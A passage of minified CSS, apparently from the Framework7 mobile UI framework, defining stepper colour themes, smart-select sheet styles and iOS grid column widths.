.color-theme-white .stepper .stepper-input-wrap input{color:#fff}.md .color-theme-white .stepper-fill .stepper-button,.md .color-theme-white .stepper-fill .stepper-button-minus,.md .color-theme-white .stepper-fill .stepper-button-plus,.md .color-theme-white .stepper-fill-md .stepper-button,.md .color-theme-white .stepper-fill-md .stepper-button-minus,.md .color-theme-white .stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .color-theme-white .stepper-fill .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill .stepper-button.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-white .stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .color-theme-white .stepper-fill .stepper-button-minus:after,.md .color-theme-white .stepper-fill .stepper-button-minus:before,.md .color-theme-white .stepper-fill .stepper-button-plus:after,.md .color-theme-white .stepper-fill .stepper-button-plus:before,.md .color-theme-white .stepper-fill .stepper-button:after,.md .color-theme-white .stepper-fill .stepper-button:before,.md .color-theme-white .stepper-fill-md .stepper-button-minus:after,.md .color-theme-white .stepper-fill-md .stepper-button-minus:before,.md .color-theme-white .stepper-fill-md .stepper-button-plus:after,.md .color-theme-white .stepper-fill-md .stepper-button-plus:before,.md .color-theme-white .stepper-fill-md .stepper-button:after,.md .color-theme-white .stepper-fill-md .stepper-button:before{background:#fff}.md .color-theme-black .stepper-button,.md .color-theme-black .stepper-button-minus,.md .color-theme-black .stepper-button-plus{border-color:#000;color:#000}.md .color-theme-black .stepper-button-minus:after,.md .color-theme-black .stepper-button-minus:before,.md .color-theme-black .stepper-button-plus:after,.md .color-theme-black .stepper-button-plus:before{background:#000}.md .color-theme-black .stepper-input-wrap,.md .color-theme-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .color-theme-black .stepper-value{color:#000}.md .color-theme-black .stepper .stepper-input-wrap input{color:#000}.md .color-theme-black .stepper-fill .stepper-button,.md .color-theme-black .stepper-fill .stepper-button-minus,.md .color-theme-black .stepper-fill .stepper-button-plus,.md .color-theme-black .stepper-fill-md .stepper-button,.md .color-theme-black .stepper-fill-md .stepper-button-minus,.md .color-theme-black .stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .color-theme-black .stepper-fill .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill .stepper-button.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-minus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button-plus.active-state,.md .color-theme-black .stepper-fill-md .stepper-button.active-state{background:#000}.md .color-theme-black .stepper-fill .stepper-button-minus:after,.md .color-theme-black .stepper-fill .stepper-button-minus:before,.md .color-theme-black .stepper-fill .stepper-button-plus:after,.md .color-theme-black .stepper-fill .stepper-button-plus:before,.md .color-theme-black .stepper-fill .stepper-button:after,.md .color-theme-black .stepper-fill .stepper-button:before,.md .color-theme-black .stepper-fill-md .stepper-button-minus:after,.md .color-theme-black .stepper-fill-md .stepper-button-minus:before,.md .color-theme-black .stepper-fill-md .stepper-button-plus:after,.md .color-theme-black .stepper-fill-md .stepper-button-plus:before,.md .color-theme-black .stepper-fill-md .stepper-button:after,.md .color-theme-black .stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-red .stepper-button,.md .stepper.color-red .stepper-button-minus,.md .stepper.color-red .stepper-button-plus{border-color:#f44336;color:#f44336}.md .stepper.color-red .stepper-button-minus:after,.md .stepper.color-red .stepper-button-minus:before,.md .stepper.color-red .stepper-button-plus:after,.md .stepper.color-red .stepper-button-plus:before{background:#f44336}.md .stepper.color-red .stepper-input-wrap,.md .stepper.color-red .stepper-value{border-top-color:#f44336;border-bottom-color:#f44336}.md .stepper.color-red .stepper-value{color:#f44336}.md .stepper.color-red .stepper-input-wrap input{color:#f44336}.md .stepper.color-red.stepper-fill .stepper-button,.md .stepper.color-red.stepper-fill .stepper-button-minus,.md .stepper.color-red.stepper-fill .stepper-button-plus,.md .stepper.color-red.stepper-fill-md .stepper-button,.md .stepper.color-red.stepper-fill-md .stepper-button-minus,.md .stepper.color-red.stepper-fill-md .stepper-button-plus{background-color:#f44336;color:#fff}.md .stepper.color-red.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill .stepper-button.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-red.stepper-fill-md .stepper-button.active-state{background:#f21f0f}.md .stepper.color-red.stepper-fill .stepper-button-minus:after,.md .stepper.color-red.stepper-fill .stepper-button-minus:before,.md .stepper.color-red.stepper-fill .stepper-button-plus:after,.md .stepper.color-red.stepper-fill .stepper-button-plus:before,.md .stepper.color-red.stepper-fill .stepper-button:after,.md .stepper.color-red.stepper-fill .stepper-button:before,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-red.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-red.stepper-fill-md .stepper-button:after,.md .stepper.color-red.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-green .stepper-button,.md .stepper.color-green .stepper-button-minus,.md .stepper.color-green .stepper-button-plus{border-color:#4caf50;color:#4caf50}.md .stepper.color-green .stepper-button-minus:after,.md .stepper.color-green .stepper-button-minus:before,.md .stepper.color-green .stepper-button-plus:after,.md .stepper.color-green .stepper-button-plus:before{background:#4caf50}.md .stepper.color-green .stepper-input-wrap,.md .stepper.color-green .stepper-value{border-top-color:#4caf50;border-bottom-color:#4caf50}.md .stepper.color-green .stepper-value{color:#4caf50}.md .stepper.color-green .stepper-input-wrap input{color:#4caf50}.md .stepper.color-green.stepper-fill .stepper-button,.md .stepper.color-green.stepper-fill .stepper-button-minus,.md .stepper.color-green.stepper-fill .stepper-button-plus,.md .stepper.color-green.stepper-fill-md .stepper-button,.md .stepper.color-green.stepper-fill-md .stepper-button-minus,.md .stepper.color-green.stepper-fill-md .stepper-button-plus{background-color:#4caf50;color:#fff}.md .stepper.color-green.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill .stepper-button.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-green.stepper-fill-md .stepper-button.active-state{background:#409343}.md .stepper.color-green.stepper-fill .stepper-button-minus:after,.md .stepper.color-green.stepper-fill .stepper-button-minus:before,.md .stepper.color-green.stepper-fill .stepper-button-plus:after,.md .stepper.color-green.stepper-fill .stepper-button-plus:before,.md .stepper.color-green.stepper-fill .stepper-button:after,.md .stepper.color-green.stepper-fill .stepper-button:before,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-green.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-green.stepper-fill-md .stepper-button:after,.md .stepper.color-green.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-blue .stepper-button,.md .stepper.color-blue .stepper-button-minus,.md .stepper.color-blue .stepper-button-plus{border-color:#2196f3;color:#2196f3}.md .stepper.color-blue .stepper-button-minus:after,.md .stepper.color-blue .stepper-button-minus:before,.md .stepper.color-blue .stepper-button-plus:after,.md .stepper.color-blue .stepper-button-plus:before{background:#2196f3}.md .stepper.color-blue .stepper-input-wrap,.md .stepper.color-blue .stepper-value{border-top-color:#2196f3;border-bottom-color:#2196f3}.md .stepper.color-blue .stepper-value{color:#2196f3}.md .stepper.color-blue .stepper-input-wrap input{color:#2196f3}.md .stepper.color-blue.stepper-fill .stepper-button,.md .stepper.color-blue.stepper-fill .stepper-button-minus,.md .stepper.color-blue.stepper-fill .stepper-button-plus,.md .stepper.color-blue.stepper-fill-md .stepper-button,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus{background-color:#2196f3;color:#fff}.md .stepper.color-blue.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill .stepper-button.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-blue.stepper-fill-md .stepper-button.active-state{background:#0c82df}.md .stepper.color-blue.stepper-fill .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill .stepper-button:after,.md .stepper.color-blue.stepper-fill .stepper-button:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-blue.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-blue.stepper-fill-md .stepper-button:after,.md .stepper.color-blue.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-pink .stepper-button,.md .stepper.color-pink .stepper-button-minus,.md .stepper.color-pink .stepper-button-plus{border-color:#e91e63;color:#e91e63}.md .stepper.color-pink .stepper-button-minus:after,.md .stepper.color-pink .stepper-button-minus:before,.md .stepper.color-pink .stepper-button-plus:after,.md .stepper.color-pink .stepper-button-plus:before{background:#e91e63}.md .stepper.color-pink .stepper-input-wrap,.md .stepper.color-pink .stepper-value{border-top-color:#e91e63;border-bottom-color:#e91e63}.md .stepper.color-pink .stepper-value{color:#e91e63}.md .stepper.color-pink .stepper-input-wrap input{color:#e91e63}.md .stepper.color-pink.stepper-fill .stepper-button,.md .stepper.color-pink.stepper-fill .stepper-button-minus,.md .stepper.color-pink.stepper-fill .stepper-button-plus,.md .stepper.color-pink.stepper-fill-md .stepper-button,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus{background-color:#e91e63;color:#fff}.md .stepper.color-pink.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill .stepper-button.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-pink.stepper-fill-md .stepper-button.active-state{background:#ca1452}.md .stepper.color-pink.stepper-fill .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill .stepper-button:after,.md .stepper.color-pink.stepper-fill .stepper-button:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-pink.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-pink.stepper-fill-md .stepper-button:after,.md .stepper.color-pink.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-yellow .stepper-button,.md .stepper.color-yellow .stepper-button-minus,.md .stepper.color-yellow .stepper-button-plus{border-color:#ffeb3b;color:#ffeb3b}.md .stepper.color-yellow .stepper-button-minus:after,.md .stepper.color-yellow .stepper-button-minus:before,.md .stepper.color-yellow .stepper-button-plus:after,.md .stepper.color-yellow .stepper-button-plus:before{background:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap,.md .stepper.color-yellow .stepper-value{border-top-color:#ffeb3b;border-bottom-color:#ffeb3b}.md .stepper.color-yellow .stepper-value{color:#ffeb3b}.md .stepper.color-yellow .stepper-input-wrap input{color:#ffeb3b}.md .stepper.color-yellow.stepper-fill .stepper-button,.md .stepper.color-yellow.stepper-fill .stepper-button-minus,.md .stepper.color-yellow.stepper-fill .stepper-button-plus,.md .stepper.color-yellow.stepper-fill-md .stepper-button,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus{background-color:#ffeb3b;color:#fff}.md .stepper.color-yellow.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill .stepper-button.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-yellow.stepper-fill-md .stepper-button.active-state{background:#ffe712}.md .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill .stepper-button:after,.md .stepper.color-yellow.stepper-fill .stepper-button:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-yellow.stepper-fill-md .stepper-button:after,.md .stepper.color-yellow.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-orange .stepper-button,.md .stepper.color-orange .stepper-button-minus,.md .stepper.color-orange .stepper-button-plus{border-color:#ff9800;color:#ff9800}.md .stepper.color-orange .stepper-button-minus:after,.md .stepper.color-orange .stepper-button-minus:before,.md .stepper.color-orange .stepper-button-plus:after,.md .stepper.color-orange .stepper-button-plus:before{background:#ff9800}.md .stepper.color-orange .stepper-input-wrap,.md .stepper.color-orange .stepper-value{border-top-color:#ff9800;border-bottom-color:#ff9800}.md .stepper.color-orange .stepper-value{color:#ff9800}.md .stepper.color-orange .stepper-input-wrap input{color:#ff9800}.md .stepper.color-orange.stepper-fill .stepper-button,.md .stepper.color-orange.stepper-fill .stepper-button-minus,.md .stepper.color-orange.stepper-fill .stepper-button-plus,.md .stepper.color-orange.stepper-fill-md .stepper-button,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus{background-color:#ff9800;color:#fff}.md .stepper.color-orange.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill .stepper-button.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-orange.stepper-fill-md .stepper-button.active-state{background:#d68000}.md .stepper.color-orange.stepper-fill .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill .stepper-button:after,.md .stepper.color-orange.stepper-fill .stepper-button:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-orange.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-orange.stepper-fill-md .stepper-button:after,.md .stepper.color-orange.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-gray .stepper-button,.md .stepper.color-gray .stepper-button-minus,.md .stepper.color-gray .stepper-button-plus{border-color:#9e9e9e;color:#9e9e9e}.md .stepper.color-gray .stepper-button-minus:after,.md .stepper.color-gray .stepper-button-minus:before,.md .stepper.color-gray .stepper-button-plus:after,.md .stepper.color-gray .stepper-button-plus:before{background:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap,.md .stepper.color-gray .stepper-value{border-top-color:#9e9e9e;border-bottom-color:#9e9e9e}.md .stepper.color-gray .stepper-value{color:#9e9e9e}.md .stepper.color-gray .stepper-input-wrap input{color:#9e9e9e}.md .stepper.color-gray.stepper-fill .stepper-button,.md .stepper.color-gray.stepper-fill .stepper-button-minus,.md .stepper.color-gray.stepper-fill .stepper-button-plus,.md .stepper.color-gray.stepper-fill-md .stepper-button,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus{background-color:#9e9e9e;color:#fff}.md .stepper.color-gray.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill .stepper-button.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-gray.stepper-fill-md .stepper-button.active-state{background:#8a8a8a}.md .stepper.color-gray.stepper-fill .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill .stepper-button:after,.md .stepper.color-gray.stepper-fill .stepper-button:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-gray.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-gray.stepper-fill-md .stepper-button:after,.md .stepper.color-gray.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-white .stepper-button,.md .stepper.color-white .stepper-button-minus,.md .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.md .stepper.color-white .stepper-button-minus:after,.md .stepper.color-white .stepper-button-minus:before,.md .stepper.color-white .stepper-button-plus:after,.md .stepper.color-white .stepper-button-plus:before{background:#fff}.md .stepper.color-white .stepper-input-wrap,.md .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.md .stepper.color-white .stepper-value{color:#fff}.md .stepper.color-white .stepper-input-wrap input{color:#fff}.md .stepper.color-white.stepper-fill .stepper-button,.md .stepper.color-white.stepper-fill .stepper-button-minus,.md .stepper.color-white.stepper-fill .stepper-button-plus,.md .stepper.color-white.stepper-fill-md .stepper-button,.md .stepper.color-white.stepper-fill-md .stepper-button-minus,.md .stepper.color-white.stepper-fill-md .stepper-button-plus{background-color:#fff;color:#fff}.md .stepper.color-white.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill .stepper-button.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-white.stepper-fill-md .stepper-button.active-state{background:#ebebeb}.md .stepper.color-white.stepper-fill .stepper-button-minus:after,.md .stepper.color-white.stepper-fill .stepper-button-minus:before,.md .stepper.color-white.stepper-fill .stepper-button-plus:after,.md .stepper.color-white.stepper-fill .stepper-button-plus:before,.md .stepper.color-white.stepper-fill .stepper-button:after,.md .stepper.color-white.stepper-fill .stepper-button:before,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-white.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-white.stepper-fill-md .stepper-button:after,.md .stepper.color-white.stepper-fill-md .stepper-button:before{background:#fff}.md .stepper.color-black .stepper-button,.md .stepper.color-black .stepper-button-minus,.md .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.md .stepper.color-black .stepper-button-minus:after,.md .stepper.color-black .stepper-button-minus:before,.md .stepper.color-black .stepper-button-plus:after,.md .stepper.color-black .stepper-button-plus:before{background:#000}.md .stepper.color-black .stepper-input-wrap,.md .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.md .stepper.color-black .stepper-value{color:#000}.md .stepper.color-black .stepper-input-wrap input{color:#000}.md .stepper.color-black.stepper-fill .stepper-button,.md .stepper.color-black.stepper-fill .stepper-button-minus,.md .stepper.color-black.stepper-fill .stepper-button-plus,.md .stepper.color-black.stepper-fill-md .stepper-button,.md .stepper.color-black.stepper-fill-md .stepper-button-minus,.md .stepper.color-black.stepper-fill-md .stepper-button-plus{background-color:#000;color:#fff}.md .stepper.color-black.stepper-fill .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill .stepper-button.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-minus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button-plus.active-state,.md .stepper.color-black.stepper-fill-md .stepper-button.active-state{background:#000}.md .stepper.color-black.stepper-fill .stepper-button-minus:after,.md .stepper.color-black.stepper-fill .stepper-button-minus:before,.md .stepper.color-black.stepper-fill .stepper-button-plus:after,.md .stepper.color-black.stepper-fill .stepper-button-plus:before,.md .stepper.color-black.stepper-fill .stepper-button:after,.md .stepper.color-black.stepper-fill .stepper-button:before,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-minus:before,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:after,.md .stepper.color-black.stepper-fill-md .stepper-button-plus:before,.md .stepper.color-black.stepper-fill-md .stepper-button:after,.md .stepper.color-black.stepper-fill-md .stepper-button:before{background:#fff}.smart-select select{display:none}.smart-select .item-after{max-width:70%;overflow:hidden;text-overflow:ellipsis;position:relative;display:block}.sheet-modal.smart-select-sheet .sheet-modal-inner{background:#fff}.sheet-modal.smart-select-sheet .list{margin:0}.sheet-modal.smart-select-sheet .list ul:before{display:none!important}.sheet-modal.smart-select-sheet .list ul:after{display:none!important}.smart-select-popover .popover-inner{max-height:40vh}.ios .smart-select-sheet .page{background:#fff}.ios .smart-select-sheet .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .smart-select-sheet .page,.ios .theme-dark .smart-select-sheet .sheet-modal-inner{background-color:#1c1c1d}.ios .theme-dark .smart-select-sheet .toolbar:after{background-color:#282829}.md .theme-dark .sheet-modal.smart-select-sheet .sheet-modal-inner{background-color:transparent}.row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.row>.col,.row>[class*=col-]{-webkit-box-sizing:border-box;box-sizing:border-box}.row .col{width:100%}.ios .row .col-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .col-100{width:100%}.ios .row .col-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .col-95{width:95%}.ios .row .col-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .col-90{width:90%}.ios .row .col-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .col-85{width:85%}.ios .row .col-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .col-80{width:80%}.ios .row .col-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .col-75{width:75%}.ios .row .col-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .col-70{width:70%}.ios .row .col-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .col-66{width:66.66666666666666%}.ios .row .col-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .col-65{width:65%}.ios .row .col-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .col-60{width:60%}.ios .row .col-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .col-55{width:55%}.ios .row .col-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .col-50{width:50%}.ios .row .col-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .col-45{width:45%}.ios .row .col-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .col-40{width:40%}.ios .row .col-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .col-35{width:35%}.ios .row .col-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .col-33{width:33.333333333333336%}.ios .row .col-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .col-30{width:30%}.ios .row .col-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .col-25{width:25%}.ios .row .col-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .col-20{width:20%}.ios .row .col-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .col-15{width:15%}.ios .row .col-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .col-10{width:10%}.ios .row .col-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .col-5{width:5%}.ios .row .col:nth-last-child(1),.ios .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .col:nth-last-child(1),.ios .row.no-gap .col:nth-last-child(1)~.col{width:100%}.ios .row .col:nth-last-child(2),.ios .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .col:nth-last-child(2),.ios .row.no-gap .col:nth-last-child(2)~.col{width:50%}.ios .row .col:nth-last-child(3),.ios .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .col:nth-last-child(3),.ios .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.ios .row .col:nth-last-child(4),.ios .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .col:nth-last-child(4),.ios .row.no-gap .col:nth-last-child(4)~.col{width:25%}.ios .row .col:nth-last-child(5),.ios .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .col:nth-last-child(5),.ios .row.no-gap .col:nth-last-child(5)~.col{width:20%}.ios .row .col:nth-last-child(6),.ios .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .col:nth-last-child(6),.ios .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.ios .row .col:nth-last-child(7),.ios .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .col:nth-last-child(7),.ios .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.ios .row .col:nth-last-child(8),.ios .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .col:nth-last-child(8),.ios .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.ios .row .col:nth-last-child(9),.ios .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .col:nth-last-child(9),.ios .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.ios .row .col:nth-last-child(10),.ios .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .col:nth-last-child(10),.ios .row.no-gap .col:nth-last-child(10)~.col{width:10%}.ios .row .col:nth-last-child(11),.ios .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .col:nth-last-child(11),.ios .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.ios .row .col:nth-last-child(12),.ios .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .col:nth-last-child(12),.ios .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.ios .row .col:nth-last-child(13),.ios .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .col:nth-last-child(13),.ios .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.ios .row .col:nth-last-child(14),.ios .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .col:nth-last-child(14),.ios .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.ios .row .col:nth-last-child(15),.ios .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 